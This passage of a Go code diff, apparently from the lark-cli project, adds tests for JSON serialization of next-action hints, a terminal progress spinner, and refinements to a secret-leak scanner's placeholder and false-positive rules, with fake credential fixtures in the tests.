t.Fatalf("next = %#v, want single-element array", next)
|
||||
}
|
||||
action, _ := next[0].(map[string]interface{})
|
||||
if action["template"] != true {
|
||||
t.Errorf("template = %v, want true", action["template"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_TemplateFalseOmitted(t *testing.T) {
|
||||
// A directly executable hint must not carry the template key at all
|
||||
// (omitempty): its absence is the "run verbatim" signal.
|
||||
m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1 --watch"}}}
|
||||
|
||||
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
|
||||
if !ok || len(next) != 1 {
|
||||
t.Fatalf("next = %#v, want single-element array", next)
|
||||
}
|
||||
action, _ := next[0].(map[string]interface{})
|
||||
if _, present := action["template"]; present {
|
||||
t.Errorf("template=false must be omitted, got %#v", action)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_MultipleActionsPreserveOrder(t *testing.T) {
|
||||
m := &Meta{Next: []NextAction{
|
||||
{Label: "poll", Command: "lark-cli agent task get example:x t1"},
|
||||
{Label: "cancel", Command: "lark-cli agent task cancel example:x t1"},
|
||||
}}
|
||||
|
||||
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
|
||||
if !ok || len(next) != 2 {
|
||||
t.Fatalf("next = %#v, want two-element array", next)
|
||||
}
|
||||
first, _ := next[0].(map[string]interface{})
|
||||
second, _ := next[1].(map[string]interface{})
|
||||
if first["label"] != "poll" || second["label"] != "cancel" {
|
||||
t.Errorf("order not preserved: got %v then %v", first["label"], second["label"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_SpecialCharacters(t *testing.T) {
|
||||
// Fields carrying quotes, unicode and newlines must survive a JSON round
|
||||
// trip intact, which string matching would not reliably verify.
|
||||
label := `poll "now"`
|
||||
command := "lark-cli agent task get example:代理 t1\n--wait"
|
||||
m := &Meta{Next: []NextAction{{Label: label, Command: command}}}
|
||||
|
||||
next, _ := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("next = %#v, want single-element array", next)
|
||||
}
|
||||
action, _ := next[0].(map[string]interface{})
|
||||
if action["label"] != label {
|
||||
t.Errorf("label = %q, want %q", action["label"], label)
|
||||
}
|
||||
if action["command"] != command {
|
||||
t.Errorf("command = %q, want %q", action["command"], command)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnvelopeMetaNextIntegration(t *testing.T) {
|
||||
// Meta.Next must serialize correctly when nested inside a full Envelope,
|
||||
// under the "meta" key alongside data.
|
||||
env := Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"task_id": "t1"},
|
||||
Meta: &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}},
|
||||
}
|
||||
b, err := json.Marshal(env)
|
||||
if err != nil {
|
||||
t.Fatalf("json.Marshal(envelope) error = %v", err)
|
||||
}
|
||||
got := unmarshalMap(t, b)
|
||||
|
||||
if got["ok"] != true {
|
||||
t.Errorf("ok = %v, want true", got["ok"])
|
||||
}
|
||||
meta, ok := got["meta"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("meta type = %T, want object", got["meta"])
|
||||
}
|
||||
next, ok := meta["next"].([]interface{})
|
||||
if !ok || len(next) != 1 {
|
||||
t.Fatalf("meta.next = %#v, want single-element array", meta["next"])
|
||||
}
|
||||
action, _ := next[0].(map[string]interface{})
|
||||
if action["command"] != "lark-cli agent task get example:x t1" {
|
||||
t.Errorf("meta.next[0].command = %v, want the poll command", action["command"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnvelopeNilMetaOmitted(t *testing.T) {
|
||||
// nil Meta is a valid edge case: the "meta" key must not appear.
|
||||
b, err := json.Marshal(Envelope{OK: true})
|
||||
if err != nil {
|
||||
t.Fatalf("json.Marshal(envelope) error = %v", err)
|
||||
}
|
||||
got := unmarshalMap(t, b)
|
||||
if _, ok := got["meta"]; ok {
|
||||
t.Errorf("nil Meta must be omitted, got %#v", got)
|
||||
}
|
||||
}
|
||||
80
internal/output/spinner.go
Normal file
80
internal/output/spinner.go
Normal file
@@ -0,0 +1,80 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// spinnerFrames are braille spinner glyphs cycled to animate progress.
|
||||
var spinnerFrames = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
|
||||
|
||||
const (
|
||||
spinnerInterval = 80 * time.Millisecond
|
||||
spinnerHideCursor = "\x1b[?25l"
|
||||
spinnerShowCursor = "\x1b[?25h"
|
||||
spinnerClearLine = "\r\x1b[K" // CR + clear-to-end-of-line
|
||||
)
|
||||
|
||||
// StartSpinner renders a braille spinner with an elapsed-seconds counter to w
|
||||
// until the returned stop() is called, e.g.:
|
||||
//
|
||||
// ⠹ Publishing dev → main... 3s
|
||||
//
|
||||
// It is meant for slow operations (long polls, first-time provisioning) so the
|
||||
// user sees the CLI is alive. Always write to STDERR (w = IO().ErrOut) so the
|
||||
// animation never pollutes stdout — the JSON/pretty result stays clean.
|
||||
//
|
||||
// When enabled is false (stderr is not a TTY: pipes, CI, captured output) it is
|
||||
// a no-op returning a no-op stop, so non-interactive runs emit nothing. Gate on
|
||||
// the stderr-TTY check (IOStreams.StderrIsTerminal), not the output format: the
|
||||
// spinner is stderr-only and self-clears, so it is shown in JSON mode too.
|
||||
//
|
||||
// stop() clears the spinner line, restores the cursor, and blocks until the
|
||||
// render goroutine has finished — so callers can safely write the result to
|
||||
// stdout/stderr immediately after. Call stop() BEFORE printing the result, and
|
||||
// it is safe to call more than once (e.g. an explicit call plus a defer).
|
||||
func StartSpinner(w io.Writer, enabled bool, label string) func() {
|
||||
if !enabled || w == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
done := make(chan struct{})
|
||||
finished := make(chan struct{})
|
||||
start := time.Now()
|
||||
|
||||
go func() {
|
||||
defer close(finished)
|
||||
frame := 0
|
||||
fmt.Fprint(w, spinnerHideCursor)
|
||||
render := func() {
|
||||
elapsed := int(time.Since(start).Seconds())
|
||||
fmt.Fprintf(w, "%s%s %s... %ds", spinnerClearLine, spinnerFrames[frame], label, elapsed)
|
||||
frame = (frame + 1) % len(spinnerFrames)
|
||||
}
|
||||
render()
|
||||
ticker := time.NewTicker(spinnerInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
fmt.Fprint(w, spinnerClearLine+spinnerShowCursor)
|
||||
return
|
||||
case <-ticker.C:
|
||||
render()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
close(done)
|
||||
<-finished // wait for the line to be cleared before returning
|
||||
})
|
||||
}
|
||||
}
|
||||
54
internal/output/spinner_test.go
Normal file
54
internal/output/spinner_test.go
Normal file
@@ -0,0 +1,54 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestStartSpinner_DisabledIsNoop asserts that a disabled spinner writes nothing and its stop func is idempotent.
|
||||
func TestStartSpinner_DisabledIsNoop(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
stop := StartSpinner(&buf, false, "working")
|
||||
stop()
|
||||
stop() // idempotent
|
||||
if buf.Len() != 0 {
|
||||
t.Fatalf("disabled spinner wrote %q, want nothing", buf.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestStartSpinner_NilWriterIsNoop asserts that a nil writer is a no-op and stopping does not panic.
|
||||
func TestStartSpinner_NilWriterIsNoop(t *testing.T) {
|
||||
stop := StartSpinner(nil, true, "working")
|
||||
stop() // must not panic
|
||||
}
|
||||
|
||||
// TestStartSpinner_EnabledAnimatesAndCleansUp asserts that an enabled spinner renders a frame and label, then clears the line and restores the cursor on stop.
|
||||
func TestStartSpinner_EnabledAnimatesAndCleansUp(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
stop := StartSpinner(&buf, true, "Publishing")
|
||||
// The goroutine renders the first frame synchronously before selecting on
|
||||
// the stop channel, so even an immediate stop() yields one full cycle.
|
||||
stop()
|
||||
stop() // idempotent, must not panic or double-write after finished
|
||||
|
||||
out := buf.String()
|
||||
if !strings.Contains(out, spinnerHideCursor) {
|
||||
t.Errorf("missing hide-cursor escape:\n%q", out)
|
||||
}
|
||||
if !strings.Contains(out, spinnerFrames[0]) {
|
||||
t.Errorf("missing first spinner frame %q:\n%q", spinnerFrames[0], out)
|
||||
}
|
||||
if !strings.Contains(out, "Publishing...") {
|
||||
t.Errorf("missing label:\n%q", out)
|
||||
}
|
||||
if !strings.Contains(out, spinnerClearLine) {
|
||||
t.Errorf("missing clear-line escape:\n%q", out)
|
||||
}
|
||||
if !strings.HasSuffix(out, spinnerShowCursor) {
|
||||
t.Errorf("must end by restoring the cursor:\n%q", out)
|
||||
}
|
||||
}
|
||||
@@ -52,6 +52,9 @@ func isPlaceholderValue(value string) bool {
|
||||
normalized := strings.ToLower(trimmed)
|
||||
if normalized == "" ||
|
||||
normalized == "=" ||
|
||||
printfPlaceholderValue(normalized) ||
|
||||
htmlEntityAnglePlaceholder(normalized) ||
|
||||
starMaskedPlaceholder(normalized) ||
|
||||
percentWrappedPlaceholder(normalized) ||
|
||||
angleWrappedPlaceholder(normalized) ||
|
||||
urlWithAnglePlaceholder(normalized) ||
|
||||
@@ -61,9 +64,28 @@ func isPlaceholderValue(value string) bool {
|
||||
return namedPlaceholderValue(normalized)
|
||||
}
|
||||
|
||||
func htmlEntityAnglePlaceholder(value string) bool {
|
||||
if !strings.HasPrefix(value, "<") || !strings.HasSuffix(value, ">") {
|
||||
return false
|
||||
}
|
||||
return anglePlaceholderIdentifier(strings.TrimSuffix(strings.TrimPrefix(value, "<"), ">"))
|
||||
}
|
||||
|
||||
func starMaskedPlaceholder(value string) bool {
|
||||
var stars int
|
||||
for _, r := range value {
|
||||
if r == '*' {
|
||||
stars++
|
||||
continue
|
||||
}
|
||||
return false
|
||||
}
|
||||
return stars >= 3
|
||||
}
|
||||
|
||||
func namedPlaceholderValue(value string) bool {
|
||||
switch value {
|
||||
case "...", "placeholder", "redacted", "<redacted>", "xxxx", "test-secret":
|
||||
case "...", "***", "****", "placeholder", "redacted", "<redacted>", "xxxx", "test-secret", "test-token", "dry-run", "dry_run":
|
||||
return true
|
||||
}
|
||||
return strings.Contains(value, "cli_example") ||
|
||||
@@ -71,6 +93,15 @@ func namedPlaceholderValue(value string) bool {
|
||||
conventionalNamedPlaceholderValue(value)
|
||||
}
|
||||
|
||||
func printfPlaceholderValue(value string) bool {
|
||||
switch value {
|
||||
case "%d", "%s", "%q", "%v", "%w", "%x", "%T":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func allXPlaceholder(value string) bool {
|
||||
if len(value) < 4 {
|
||||
return false
|
||||
|
||||
@@ -54,8 +54,9 @@ func scanText(file, source, text string, detectorFile bool) []Finding {
|
||||
keyName, _ := normalizedCredentialAssignmentKey(match[0])
|
||||
if value == "" ||
|
||||
isNonSecretLiteralValue(value) ||
|
||||
isBenignCodeCredentialExpression(file, value) ||
|
||||
isBenignCodeCredentialExpression(file, line, match[0], value) ||
|
||||
isPlaceholderValue(value) ||
|
||||
isPermissionScopeIdentifierAssignment(keyName, value) ||
|
||||
isResourceTokenPlaceholderAssignment(keyName, value) {
|
||||
continue
|
||||
}
|
||||
@@ -266,7 +267,7 @@ func isResourceTokenPlaceholderAssignment(key, value string) bool {
|
||||
case key == "retry_without_token" && numericStringPlaceholderValue(value):
|
||||
return true
|
||||
case tokenLikePlaceholderKey(key):
|
||||
return tokenLikePlaceholderValue(value)
|
||||
return tokenLikePlaceholderValue(key, value)
|
||||
default:
|
||||
return false
|
||||
}
|
||||
@@ -278,12 +279,13 @@ func tokenLikePlaceholderKey(key string) bool {
|
||||
strings.HasSuffix(key, "-token")
|
||||
}
|
||||
|
||||
func tokenLikePlaceholderValue(value string) bool {
|
||||
func tokenLikePlaceholderValue(key, value string) bool {
|
||||
normalized := strings.ToLower(strings.Trim(value, `"'`))
|
||||
if normalized == "" || credentialShapedIdentifier(normalized) {
|
||||
return false
|
||||
}
|
||||
return resourceTokenPlaceholderValue(value) ||
|
||||
maskedTokenFixturePlaceholderValue(key, normalized) ||
|
||||
isPlaceholderValue(value) ||
|
||||
normalized == "token" ||
|
||||
strings.Contains(normalized, "...") ||
|
||||
@@ -293,6 +295,51 @@ func tokenLikePlaceholderValue(value string) bool {
|
||||
strings.HasPrefix(normalized, ".")
|
||||
}
|
||||
|
||||
func maskedTokenFixturePlaceholderValue(key, value string) bool {
|
||||
if authCredentialTokenKey(key) {
|
||||
return false
|
||||
}
|
||||
var stars, alnum int
|
||||
for _, r := range value {
|
||||
switch {
|
||||
case r == '*':
|
||||
stars++
|
||||
case (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9'):
|
||||
alnum++
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
return stars >= 6 && alnum > 0
|
||||
}
|
||||
|
||||
func authCredentialTokenKey(key string) bool {
|
||||
switch strings.ReplaceAll(strings.ToLower(key), "-", "_") {
|
||||
case "access_token",
|
||||
"refresh_token",
|
||||
"session_token",
|
||||
"bearer_token",
|
||||
"auth_token",
|
||||
"authorization_token",
|
||||
"id_token":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func isPermissionScopeIdentifierAssignment(key, value string) bool {
|
||||
if !strings.HasSuffix(key, "_token") {
|
||||
return false
|
||||
}
|
||||
switch strings.ToLower(strings.Trim(value, `"',;`)) {
|
||||
case "read", "write", "modify", "readonly", "get_as_user":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func idempotencyTokenPlaceholderValue(value string) bool {
|
||||
return numericStringPlaceholderValue(value) || uuidStringPlaceholderValue(value)
|
||||
}
|
||||
@@ -333,20 +380,87 @@ func numericStringPlaceholderValue(value string) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func isBenignCodeCredentialExpression(file, value string) bool {
|
||||
func isBenignCodeCredentialExpression(file, line, match, value string) bool {
|
||||
normalized := strings.TrimSpace(value)
|
||||
if strings.HasPrefix(normalized, "regexp.MustCompile(") {
|
||||
return true
|
||||
}
|
||||
if !sourceCodeFile(file) || quotedLiteral(value) || credentialShapedValue(value) {
|
||||
if !sourceCodeFile(file) || credentialShapedValue(value) {
|
||||
return false
|
||||
}
|
||||
if rhs, ok := sourceCodeTypedCredentialRHS(line, match); ok {
|
||||
return isBenignTypedCredentialRHS(rhs)
|
||||
}
|
||||
rawValueQuoted := credentialAssignmentRawValueQuoted(match)
|
||||
if sourceCodeLiteralLooksNonSecret(normalized, !rawValueQuoted) {
|
||||
return true
|
||||
}
|
||||
if sourceCodeFormatStringLiteral(normalized) && sourceCodeFormatArgumentContext(line, match) {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(match, "+") {
|
||||
return true
|
||||
}
|
||||
if rawValueQuoted {
|
||||
return false
|
||||
}
|
||||
if quotedLiteral(value) {
|
||||
return sourceCodeLiteralLooksNonSecret(value, false)
|
||||
}
|
||||
return codeReferenceExpression(normalized)
|
||||
}
|
||||
|
||||
func sourceCodeTypedCredentialRHS(line, match string) (string, bool) {
|
||||
idx := strings.Index(line, match)
|
||||
if idx < 0 {
|
||||
return "", false
|
||||
}
|
||||
key, ok := credentialAssignmentKey(match)
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
rest := strings.TrimSpace(line[idx+len(key):])
|
||||
if !strings.HasPrefix(rest, ":") {
|
||||
return "", false
|
||||
}
|
||||
typeAndRHS := strings.TrimSpace(strings.TrimPrefix(rest, ":"))
|
||||
assignmentIdx := strings.Index(typeAndRHS, "=")
|
||||
if assignmentIdx < 0 {
|
||||
return "", false
|
||||
}
|
||||
return strings.TrimSpace(typeAndRHS[assignmentIdx+1:]), true
|
||||
}
|
||||
|
||||
func isBenignTypedCredentialRHS(value string) bool {
|
||||
value = strings.TrimRight(strings.TrimSpace(value), ",;")
|
||||
if value == "" || isNonSecretLiteralValue(value) || isPlaceholderValue(value) {
|
||||
return true
|
||||
}
|
||||
if credentialShapedValue(value) {
|
||||
return false
|
||||
}
|
||||
if sourceCodeLiteralLooksNonSecret(value, !quotedLiteral(value)) {
|
||||
return true
|
||||
}
|
||||
if quotedLiteral(value) {
|
||||
return false
|
||||
}
|
||||
return codeReferenceExpression(value)
|
||||
}
|
||||
|
||||
func credentialAssignmentRawValueQuoted(match string) bool {
|
||||
key, ok := credentialAssignmentKey(match)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
rest := strings.TrimSpace(strings.TrimPrefix(match[len(key):], ":"))
|
||||
rest = strings.TrimSpace(strings.TrimPrefix(rest, "="))
|
||||
return strings.HasPrefix(rest, `"`) || strings.HasPrefix(rest, `'`)
|
||||
}
|
||||
|
||||
func sourceCodeFile(file string) bool {
|
||||
switch filepath.Ext(file) {
|
||||
case ".go", ".py":
|
||||
case ".go", ".js", ".jsx", ".py", ".ts", ".tsx":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
@@ -360,7 +474,147 @@ func quotedLiteral(value string) bool {
|
||||
(strings.HasPrefix(normalized, `'`) && strings.HasSuffix(normalized, `'`)))
|
||||
}
|
||||
|
||||
func sourceCodeLiteralLooksNonSecret(value string, allowNumeric bool) bool {
|
||||
literal := strings.Trim(strings.TrimSpace(value), `"'`)
|
||||
if strings.HasPrefix(literal, "/") {
|
||||
return true
|
||||
}
|
||||
return (allowNumeric && numericStringPlaceholderValue(literal)) ||
|
||||
sourceCodeEnvVarNameLiteral(literal) ||
|
||||
sourceCodeAttributeNameLiteral(literal) ||
|
||||
sourceCodeFakeOrPlaceholderLiteral(literal) ||
|
||||
sourceCodeCredentialTermLiteral(literal) ||
|
||||
sourceCodeCredentialPrefixLiteral(literal) ||
|
||||
sourceCodeVocabularyLiteral(literal) ||
|
||||
sourceCodeSchemaTypeLiteral(literal) ||
|
||||
benignCredentialStatusLiteral(literal)
|
||||
}
|
||||
|
||||
func sourceCodeFormatArgumentContext(line, match string) bool {
|
||||
idx := strings.Index(line, match)
|
||||
if idx < 0 {
|
||||
return false
|
||||
}
|
||||
prefix := line[:idx]
|
||||
if semicolon := strings.LastIndex(prefix, ";"); semicolon >= 0 {
|
||||
prefix = prefix[semicolon+1:]
|
||||
}
|
||||
return strings.Contains(prefix, "fmt.") ||
|
||||
strings.Contains(prefix, "log.") ||
|
||||
strings.Contains(prefix, "printf(") ||
|
||||
strings.Contains(prefix, "Printf(") ||
|
||||
strings.Contains(prefix, "Errorf(") ||
|
||||
strings.Contains(prefix, "Fprintf(")
|
||||
}
|
||||
|
||||
func sourceCodeFormatStringLiteral(value string) bool {
|
||||
for i := 0; i < len(value)-1; i++ {
|
||||
if value[i] != '%' {
|
||||
continue
|
||||
}
|
||||
if value[i+1] == '%' {
|
||||
i++
|
||||
continue
|
||||
}
|
||||
j := i + 1
|
||||
for j < len(value) && strings.ContainsRune("#+- 0.0123456789", rune(value[j])) {
|
||||
j++
|
||||
}
|
||||
if j < len(value) && strings.ContainsRune("vTtbcdoOqxXUeEfFgGspw", rune(value[j])) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func sourceCodeEnvVarNameLiteral(value string) bool {
|
||||
if value == "" || !strings.Contains(value, "_") {
|
||||
return false
|
||||
}
|
||||
var hasCredentialMarker bool
|
||||
for _, r := range value {
|
||||
switch {
|
||||
case r >= 'A' && r <= 'Z':
|
||||
case r >= '0' && r <= '9':
|
||||
case r == '_':
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, marker := range []string{"TOKEN", "SECRET", "KEY", "PASSWORD", "PASSWD"} {
|
||||
if strings.Contains(value, marker) {
|
||||
hasCredentialMarker = true
|
||||
break
|
||||
}
|
||||
}
|
||||
return hasCredentialMarker
|
||||
}
|
||||
|
||||
func sourceCodeAttributeNameLiteral(value string) bool {
|
||||
normalized := strings.ToLower(value)
|
||||
return strings.HasPrefix(normalized, "data-") && delimitedPlaceholderIdentifier(normalized)
|
||||
}
|
||||
|
||||
func sourceCodeFakeOrPlaceholderLiteral(value string) bool {
|
||||
normalized := strings.ToLower(value)
|
||||
return strings.HasPrefix(normalized, "fake_") ||
|
||||
strings.HasPrefix(normalized, "fake-") ||
|
||||
strings.Contains(normalized, "placeholder") ||
|
||||
(strings.Contains(normalized, "<") && strings.Contains(normalized, ">"))
|
||||
}
|
||||
|
||||
func sourceCodeCredentialTermLiteral(value string) bool {
|
||||
normalized := strings.ToLower(strings.ReplaceAll(value, "-", "_"))
|
||||
return conventionalCredentialPlaceholderName(normalized)
|
||||
}
|
||||
|
||||
func sourceCodeCredentialPrefixLiteral(value string) bool {
|
||||
switch strings.ToLower(value) {
|
||||
case "appsecret:":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func sourceCodeVocabularyLiteral(value string) bool {
|
||||
switch strings.ToLower(value) {
|
||||
case "bot", "tenant", "user":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func sourceCodeSchemaTypeLiteral(value string) bool {
|
||||
normalized := strings.ToLower(value)
|
||||
return normalized == "string" || strings.HasPrefix(normalized, "string(")
|
||||
}
|
||||
|
||||
func benignCredentialStatusLiteral(value string) bool {
|
||||
normalized := strings.ToLower(strings.ReplaceAll(value, "-", "_"))
|
||||
if !delimitedPlaceholderIdentifier(normalized) {
|
||||
return false
|
||||
}
|
||||
for _, marker := range []string{
|
||||
"bad_fmt",
|
||||
"expired",
|
||||
"format",
|
||||
"invalid",
|
||||
"missing",
|
||||
"permission",
|
||||
"status",
|
||||
"type",
|
||||
} {
|
||||
if strings.Contains(normalized, marker) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func codeReferenceExpression(value string) bool {
|
||||
value = strings.TrimRight(strings.TrimSpace(value), ";")
|
||||
if value == "" {
|
||||
return false
|
||||
}
|
||||
@@ -369,7 +623,10 @@ func codeReferenceExpression(value string) bool {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return codeIdentifier(value) && !credentialNameFragment(value)
|
||||
if !codeIdentifier(value) {
|
||||
return false
|
||||
}
|
||||
return codeIdentifier(value)
|
||||
}
|
||||
|
||||
func codeIdentifier(value string) bool {
|
||||
@@ -386,16 +643,6 @@ func codeIdentifier(value string) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func credentialNameFragment(value string) bool {
|
||||
normalized := strings.ToLower(value)
|
||||
for _, marker := range []string{"secret", "token", "password", "passwd", "key"} {
|
||||
if strings.Contains(normalized, marker) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isNonSecretLiteralValue(value string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(strings.Trim(value, `"'`))) {
|
||||
case "true", "false", "null", "nil", "{", "[":
|
||||
|
||||
@@ -770,6 +770,172 @@ func TestScanFileAllowsPythonArgumentTokens(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsPythonCredentialTypeAnnotations(t *testing.T) {
|
||||
got := ScanFile("fixtures/doc_word_stat.py", []byte(strings.Join([]string{
|
||||
"class Counter:",
|
||||
" def __init__(self) -> None:",
|
||||
" self._token_kind: TokenKind | None = None",
|
||||
" self.access_token: AccessToken | None = None",
|
||||
}, "\n")+"\n"))
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
t.Fatalf("python credential-shaped type annotations should not be credential findings: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsSourceCodeCredentialNonSecretLiterals(t *testing.T) {
|
||||
got := ScanFile("fixtures/auth_paths.go", []byte(strings.Join([]string{
|
||||
`const PathOAuthTokenV2 = "/open-apis/authen/v2/oauth/token"`,
|
||||
`return fmt.Errorf("failed to remove token: %v", err)`,
|
||||
`const LarkErrTokenMissing = "token_missing"`,
|
||||
`const LarkErrTokenExpired = 99991677`,
|
||||
`const CliAppSecret = "LARKSUITE_CLI_APP_SECRET"`,
|
||||
`const LargeAttachmentTokenAttr = "data-mail-token"`,
|
||||
`const fakeOfficeTokenPrefix = "fake_office_"`,
|
||||
`fmt.Fprintf(w, " - token=%s filename=%s\n", att.Token, att.FileName)`,
|
||||
`tokenTypeHint := "access_token"`,
|
||||
`const TokenTenant Token = "tenant"`,
|
||||
`const secretKeyPrefix = "appsecret:"`,
|
||||
`output.PrintJson(out, map[string]interface{}{"appSecret": "****"})`,
|
||||
`return &credential.TokenResult{Token: "test-token"}, nil`,
|
||||
`fmt.Fprintf(w, "password=%s\n", pat)`,
|
||||
`text += "(img_token:" + imgToken + ")"`,
|
||||
`map[string]interface{}{"token": "string(optional, from inspect)"}`,
|
||||
`this.token = token;`,
|
||||
`// AppSecret: "appsecret:<appId>"`,
|
||||
}, "\n")+"\n"))
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
t.Fatalf("source code non-secret literals should not be credential findings: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsCredentialLikePublicPlaceholders(t *testing.T) {
|
||||
got := ScanFile("fixtures/placeholders.md", []byte(strings.Join([]string{
|
||||
`app_secret=***`,
|
||||
`{"token":"<wiki_token>"}`,
|
||||
`{"token":"Pgrrwvr***********UnRb"}`,
|
||||
`"scope_name": "auth:user_access_token:read"`,
|
||||
}, "\n")+"\n"))
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
t.Fatalf("public placeholders and scope identifiers should not be credential findings: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileDetectsPartiallyMaskedCredentialValues(t *testing.T) {
|
||||
got := ScanFile("fixtures/config.md", []byte(strings.Join([]string{
|
||||
"client_secret=realprefix***realsuffix",
|
||||
"client_secret=ab********cd",
|
||||
"access_token=ab********cd",
|
||||
"refresh_token=realprefix********realsuffix",
|
||||
}, "\n")+"\n"))
|
||||
var count int
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
count++
|
||||
}
|
||||
}
|
||||
if count != 4 {
|
||||
t.Fatalf("partially masked credential findings = %d, want 4: %#v", count, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsDryRunCredentialPlaceholders(t *testing.T) {
|
||||
got := ScanFile("fixtures/ci.yml", []byte(strings.Join([]string{
|
||||
"LARKSUITE_CLI_APP_SECRET=dry-run",
|
||||
"client_secret: dry_run",
|
||||
}, "\n")+"\n"))
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
t.Fatalf("dry-run credential placeholders should not be credential findings: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileDetectsTypedCredentialAssignmentsWithSecretRHS(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
file string
|
||||
text string
|
||||
}{
|
||||
{
|
||||
name: "typescript simple secret",
|
||||
file: "fixtures/source_secret.ts",
|
||||
text: `const clientSecret: string = "real-client-secret-value"`,
|
||||
},
|
||||
{
|
||||
name: "typescript numeric password",
|
||||
file: "fixtures/source_secret.ts",
|
||||
text: `const password: string = "12345678901234567890"`,
|
||||
},
|
||||
{
|
||||
name: "typescript union secret",
|
||||
file: "fixtures/source_secret.ts",
|
||||
text: `const clientSecret: string | undefined = "real-client-secret-value"`,
|
||||
},
|
||||
{
|
||||
name: "python simple secret",
|
||||
file: "fixtures/source_secret.py",
|
||||
text: `self.client_secret: str = "real-client-secret-value"`,
|
||||
},
|
||||
{
|
||||
name: "python union secret",
|
||||
file: "fixtures/source_secret.py",
|
||||
text: `self.client_secret: str | None = "real-client-secret-value"`,
|
||||
},
|
||||
{
|
||||
name: "python optional secret",
|
||||
file: "fixtures/source_secret.py",
|
||||
text: `self.client_secret: Optional[str] = "real-client-secret-value"`,
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
got := ScanFile(tc.file, []byte(tc.text+"\n"))
|
||||
if !findingRules(got)["public_content_generic_credential"] {
|
||||
t.Fatalf("typed credential assignment should be reported: %#v", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileDetectsCredentialShapedSourceCodeLiterals(t *testing.T) {
|
||||
githubToken := "ghp_" + "1234567890abcdef1234567890abcdef1234"
|
||||
got := ScanFile("fixtures/source_secret.go", []byte(strings.Join([]string{
|
||||
`const ClientSecret = "real-client-secret-value"`,
|
||||
`const GithubToken = "` + githubToken + `"`,
|
||||
`const Password = "12345678901234567890"`,
|
||||
`const ClientSecretNumber = "12345678901234567890"`,
|
||||
`const ClientSecretFormat = "abc%sdefreal"`,
|
||||
`fmt.Println("done"); const ClientSecret = "abc%sdefreal"`,
|
||||
}, "\n")+"\n"))
|
||||
var count int
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
count++
|
||||
}
|
||||
}
|
